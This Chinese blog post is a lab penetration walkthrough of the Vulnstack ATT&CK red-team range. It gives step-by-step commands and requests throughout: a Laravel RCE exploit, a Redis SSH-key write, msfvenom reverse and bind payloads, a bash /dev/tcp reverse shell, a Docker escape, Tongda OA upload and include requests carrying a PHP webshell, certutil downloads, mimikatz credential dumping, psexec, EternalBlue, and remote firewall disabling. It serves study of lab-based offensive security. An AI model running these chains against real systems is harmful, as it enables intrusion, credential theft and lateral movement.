写点什么

内网安全 - 记一次内网靶机渗透

  • 2022 年 2 月 24 日
  • 本文字数:6193 字

    阅读完需:约 20 分钟

所涉及到的知识点:

1、WEB 安全-漏洞发现及利用 2、系统安全-权限提升(漏洞 &配置 &逃逸)3、内网安全-横向移动(口令传递 &系统漏洞)


实战演练-ATT&CK 实战系列-红队评估

环境下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/利用资源:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXPhttps://github.com/briskets/CVE-2021-3493https://blog.csdn.net/szgyunyun/article/details/107104288参考 WP:https://www.freebuf.com/articles/network/264560.html涉及技术:


 1.漏洞搜索与利用 2.Laravel Debug mode RCE(CVE-2021-3129)漏洞利用 3.Docker逃逸4.通达OA v11.3 漏洞利用5.Linux环境变量提权 6.Redis 未授权访问漏洞7.Linux sudo权限提升(CVE-2021-3156)漏洞利用 8.SSH密钥利用 9.Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用 10.MS14-068漏洞利用
复制代码

服务配置

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应 的主机上启动靶机服务:

DMZ 区的 Ubuntu 需要启动 nginx 服务:(web1)

1 sudo redis-server /etc/redis.conf 2 sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf 3 sudo iptables -F
复制代码

第二层网络的 Ubuntu 需要启动 docker 容器:(web2)

1 sudo service docker start 2 sudo docker start 8e172820ac78
复制代码

第三层网络的 Windows 7 (PC 1)需要启动通达 OA:

1 C:\MYOA\bin\AutoConfig.exe
复制代码

域用户信息

域用户账户和密码如下:


Administrator:Whoami2021whoami:Whoami2021bunny:Bunny2021moretz:Moretz2021
复制代码

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达 OA 账户:

admin:admin657260


【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记

kali 开启 ssh 服务

/etc/init.d/ssh start xshell 连接22端口和kali的ip


渗透过程



1.用 kali 扫描 web1 的外网端口(这里是 46.160,kali 是 46.158 地址)nmap -T4 -sC -sV 192.168.46.1602.扫描出该 ip 地址 81 端口开放,则判断出使用的是 laravel,以此来进行漏洞利用


81端口:laravel 存在最新漏洞python laravel-CVE-2021-3129-EXP.py http://目标地址https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP    项目地址
复制代码


3.用哥斯拉工具连接上传成功的后门,


将有效载荷和加密器改为 php 的



4.在上线之前先判断对方的搭建系统,出现这个就代表对方用的是 docker 来搭建的,那么接下来所要考虑的就是如何来进行 docker 逃逸。这里我上传冰蝎的木马改用冰蝎,是因为个人喜好冰蝎的工具,各位师傅可以上传其他后门改用蚁剑菜刀连接都可以。



5.这里我们将 web 权限反弹到 msf 是不成功的其一:是因为对放将 81 端口代理到 52.20:8000 端口上,这里肯定是连接不通的,因为我们的 msf 主机和对方的 52 网段的不出网机子不通其二:后门的代理没有走第一层网络 所以连接不上 web2 上的主机



6..所以我们入侵该主机并不能造成太大的威胁,借此我们要入侵 web1 的其他端口(kali 扫描全部端口)扫到了 6379 的端口 redisnmap -T4 -sC -sV -p1-65535 192.168.xx.xxx




7.Ubuntu 1 DMZ 渗透 redis 未授权判断如果进入就代表有 redis 未授权(kali 运行)redis-cli -h 192.168.xx.xxxxx7.1Redis 未授权访问-ssh 密匙 生成公钥(kali 上执行)ssh-keygen -t rsa7.2 将公钥导入 1.txt 文件echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt7.3 把 1.txt 文件内容写入目标主机的 redis 缓冲中cat 1.txt | redis-cli -h 192.168.46.160(web主机) -p 6379(redis端口) -x set hello7.4 设置 redis 的备份路径为/root/.ssh/config set dir /root/.ssh7.5 设置保存文件名为 authorized_keysconfig set dbfilename authorized_keys7.6 将数据保存在目标服务器硬盘上save7.7 连接 web1 上的主机ssh root@192.168.46.160



7.8 获取 web1 的主机



8.因为连接到 web1 的主机,所以这里生成正向反向的后门都可以,我这里生成的是反向连接的后门msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.46.158 lport=6666 -f elf -o p1.elf



9.在将生成的后门放到刚刚连接到的 web1 的文件下



10.在用 redis 未授权访问的 web1 下载这个后门wget http://192.168.46.160:81/p1.elf



11.在这个后门执行前,kali 上要启用 msf 的监听模块


msfconsole                                      开启msfuse exploit/multi/handler                       使用监听模块set payload linux/x64/meterpreter/reverse_tcp   设置刚刚生成后门的模块set lhost 192.168.46.158                        设置ipset lport 6666                                  设置端口exploit                                         攻击
复制代码



12.redis 未授权访问的主机执行后门代码


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150107-3b7a515e-80d1-1.png)
13.然后进入到他的主机之后来进行横向渗透,首先来来利用msf强大的路由功能来获取其他网段的路由
复制代码


sessions 1 回到会话中 run get_local_subnets 获取本地路由 run autoroute -p 查询本地路由 run post/multi/manage/autoroute 得到本地路由


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150333-92bc573c-80d1-1.png)
14.内网探针来查询52网段有那些ip地址存活,可能只扫到一个30的地址,其实还可以ping到20的地址
复制代码


background 返回 use auxiliary/scanner/discovery/udp_probe 使用扫描模块 show options 展示选项 set rhosts 192.168.52.1-255 设置主机范围 set threads 10 设置线程 run 运行


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129150408-a7491e56-80d1-1.png)
15.在利用环境变量配合SUID本地提权```find / -user root -perm -4000 -print 2>/dev/null
复制代码



16.通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限


cd /home/jobs./shellchmod 777 pscp /bin/bash /tmp/ps
复制代码



17.因为环境变量问题所以我们将这个二层网络的主机反弹到一层网络主机上面所以在创建一个 kali 会话连接到第一层的网络主机上面,设置 nc 将二层网络主机的权限反弹到一层主机上面nc -lvp 1234



18.将 web 权限反弹到第一层主机上bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1234 0>&1'



19.添加环境变量


export PATH=/tmp:$PATH          添加环境变量echo $PATH                      查看环境变量
复制代码



20.在来使用 shell 提升权限


./shellid              查看权限
复制代码



21.kali 生成正向连接的后门由此来连接msfvenom -p linux/x64/meterpreter/bind_tcp lport=7777 -f elf -o p2.elf 生成正向连接的后门



22.在将这个后门放到冰蝎连接上的 web 主机上面



23.在来使用 kali 的 msf 监听这个后门


use exploit/multi/handlerset payload linux/x64/meterpreter/bind_tcp show optionsset lport 7777set rhost 192.168.52.20                 主机连接对方的ip地址exploit
复制代码




  1. 然后在提权的机器上运行后门发现不成功,这就是涉及到前面所提及到的 dokcer(为了确保能木马能运行,在真实机上运行试验一下验证)


25.docker 逃逸在那台提权上的主机上进行逃逸


fdisk -l                 查看磁盘文件ls /dev                  查看设备文件cd /mkdir hellomount /dev/sda1 /hellols /hello覆盖密匙:cp -avx /hello/home/ubuntu/.ssh/id_rsa.pub /hello/home/ubuntu/.ssh/authorized_keys                                                                                -avx将权限也一起复制echo > /hello/home/ubuntu/.ssh/authorized_keys                   清空authorized_keys文件echo '26步骤生成的密钥' > /hello/home/ubuntu/.ssh/authorized_keys      将ssh秘钥写入
复制代码



26.pc1 上覆盖密钥(重新建立一个 kali 的终端)


ssh root@192.168.46.160         重新连接kalicat hello.pub                   查看密钥ssh-keygen -f hello             生成密钥chmod 600 hello                 给予权限lscat  hello.pub
复制代码



27.25 步骤写入了密钥就可以连接 52.20 的主机(刚刚创建密钥的主机上连接)ssh -i hello ubuntu@192.168.52.20



28.在来运行该木马



29.然后建立的 msf 的监听就能接受到会话



30.然后再来进入到 ubuntu 的会话中查看路由地址,就能添加到 93 的主机地址


session 4run get_local_subnets
复制代码



run autoroute -prun post/multi/manage/autoroute
复制代码


31.现在我们已经拿下了 20 和 10 的主机,我们要拿下 30 的主机,我们要使用 nmap 来扫描 ip 地址的服务,虽然我们这台 msf 有 52 网段的 ip 路由,但是 nmap 不是 msf 内置的工具,所以我们可以设置一个代理来使用 nmap 扫描工具。



32.这里我使用 msf 自带的扫描模块


use auxiliary/scanner/portscan/tcpshow optionsset rhosts 192.168.52.30set threads 10exploit
复制代码



33.然后在用 kali 机连接到这个 oa 系统,前提 win7 上打开了 oa 系统,kali 的浏览器上设置代理,使用 burpsuite 抓包


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129163739-b7d84d5c-80de-1.png)
34\. 这里就是使用通达OA系统的RCE和前台任意用户登录漏洞 34.1先在登录处抓包![](https://xzfile.aliyuncs.com/media/upload/picture/20220129164114-37ce65f0-80df-1.png) 34.2修改在路径,删除cookie,添加Uid
![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164129-409196c6-80df-1.png)
34.3然后就会返回这个cookie在来利用这个cookie未授权访问![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164221-5f87884c-80df-1.png)
34.4用获取的SESSID访问/general/![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164247-6f26dca8-80df-1.png)
34.5未授权文件上传 任意文件上传漏洞 /ispirit/im/upload.php,在来直接使用这个数据包修改ip和端口号就行
复制代码


POST /ispirit/im/upload.php HTTP/1.1Host: xxxx:xxContent-Length: 658Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: /Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: close


------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"


2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"


123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"


1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="jpg"Content-Type: image/jpeg


<?php_POST['cmd'];exec = command);exec->StdOut();stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh1YB4pV8McGB--


34.6在来使用文件包含来  命令执行
复制代码


POST /ispirit/interface/gateway.php HTTP/1.1Host: ip:端口 Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencoded


json={"url":"/general/../../attach/im/图片路径"}&cmd=whoami


34.7发现可以命令执行,再来下载一个后门代码,前提是要生成一个windows后门木马,将木马放到web1的目录上```msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe > w7.exe
复制代码



34.8再来下载这个木马,执行我们的上线
复制代码


certutil -urlcache -split -f http://192.168.52.10:81/w7.exe c:/w7.exe



34.9使用木马前监听这个后门
复制代码


use exploit/multi/handlerset payload windows/meterpreter/bind_tcpset rhost 192.168.52.30set lport 7777exploit
复制代码



34.10 再来使用这个木马执行上线操作
复制代码


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129164752-2546c52a-80e0-1.png)
35.成功之后发现有session5```backgroundsessionssessions 5
复制代码



37.然后在利用 msf 自带的扫描模块扫描


backgrounduse auxiliary/scanner/discover/udp_proeshow optionsset rhosts 192.168.93.1-50run
复制代码



38.发现对方开放的 ip 地址和端口


第一种情况是关闭了防火墙可直接执行上线操作

39.其一:利用 ms17010


use auxiliary/scanner/smb/smb_ms17_010      扫描是否有ms17010漏洞show optionsset rhosts 192.168.93.20-30                 扫描20-30网段exploit
复制代码



40.发现有两台主机可以利用



41.其二:使用 mimikatz 来攻击


sessionssessions 5load kiwi           载入mimikatz
复制代码



42.如果这里提示 x32 不能执行 x64,那就要移植进程kiwi_cmd sekurlsa::logonpasswords 获取账号密码



43.先执行 ps 命令获取一个 x64 的 system 权限进程


psmigrate 4012            移植4012进程
复制代码



44.再来执行刚刚的命令kiwi_cmd sekurlsa::logonpasswords 获取账号密码



45.获取到 administartor 账号密码就来利用 msf 的 psexec 模块


backgrounduse exploit/windows/smb/psexecset payload windows/meterpreter/bind_tcp        改为正向连接set rhost 192.168.93.30                         设置主机show optionsset smbuser                                     获取到的administrator账号     设置账号set smbpass                                     获取到的密码                  设置密码exploit
复制代码




46.其三:利用 smb 的 ms17010 的 psexec 的模块


use exploit/windows/smb/ms17_010_psexec         使用模块set payload windows/meterpreter/bind_tcp        设置正向连接set rhost 192.168.93.40                         设置ip
复制代码


开启防火墙

47.这就是开启了防火墙,攻击能成功但是反弹不了会话



48.首先建立 sessionsessions 5



49.返回 shell 终端


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170124-08eca546-80e2-1.png)
50.强制关闭防火墙
复制代码


net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \192.168.93.30 start unablefirewall


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170141-136969a0-80e2-1.png)
51.之后就可以继续攻击
复制代码


backgroundexploit


![image.png](https://xzfile.aliyuncs.com/media/upload/picture/20220129170229-300b3480-80e2-1.png)
52.攻击win7的ms17010的模块
复制代码


backgrounduse exploit/windows/smb/ms17_010_eternalblueshow optionsset payload windows/x64/meterpreter/bind_tcp 改为正向连接 set rhost 192.168.93.40run


[![image](https://img-blog.csdnimg.cn/img_convert/0242eb1ad9dbf46d9763c460aaeb2111.png)](https://xzfile.aliyuncs.com/media/upload/picture/20220129170244-390ed014-80e2-1.png)
复制代码


用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
内网安全-记一次内网靶机渗透